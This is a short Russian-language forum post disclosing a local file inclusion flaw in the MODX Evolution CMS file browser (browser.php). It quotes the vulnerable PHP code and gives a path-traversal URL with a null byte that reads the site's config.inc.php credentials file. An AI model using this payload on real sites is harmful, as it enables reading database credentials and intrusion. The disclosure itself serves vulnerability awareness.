Показать сообщение отдельно

  #1  
Старый 27.07.2012, 01:29
Agel Nash
Новичок
Регистрация: 23.07.2009
Сообщений: 5
Провел на форуме:
35408

Репутация: 3
По умолчанию

[B]LFI в browser.php MODX Evo [/COLOR]seturl_js();

$output=$rb->render_fbrowser($ph);

echo
$output;

class
FBROWSER

{

function
seturl_js()

{

$seturl_js_filename='seturl_js_'.htmlspecialchars($_GET['editor']) .'.inc';

$seturl_js_path=MODX_BASE_PATH.'assets/plugins/';

if(
file_exists($seturl_js_path.$seturl_js_filename))

{

$result=file_get_contents($seturl_js_path.$seturl_js_filename);

}

else

{

/*...............*/

}

return
$result;

}

[/COLOR]
[/PHP]
Найдено мной только что. На серверах с php >=5.3 воспроизвести не удалось, т.к. file_exists говорит что файла не существует, если ему подсунуть путь с../

Примечательно, что такой мегакритичный баг живет уже давно в этом движке. (хотя наверное в приватах давно знают об этом баге).

Код:
http://example.com/manager/media/browser/mcpuk/browser.php?editor=/../../../docs/manager/includes/config.inc.php%00
Как можно заметить, мы выходим чуть выше директории в которой находится сайт. Поэтому нужно узнать пути. Благо способов море: 1, 2, 3
 
Ответить с цитированием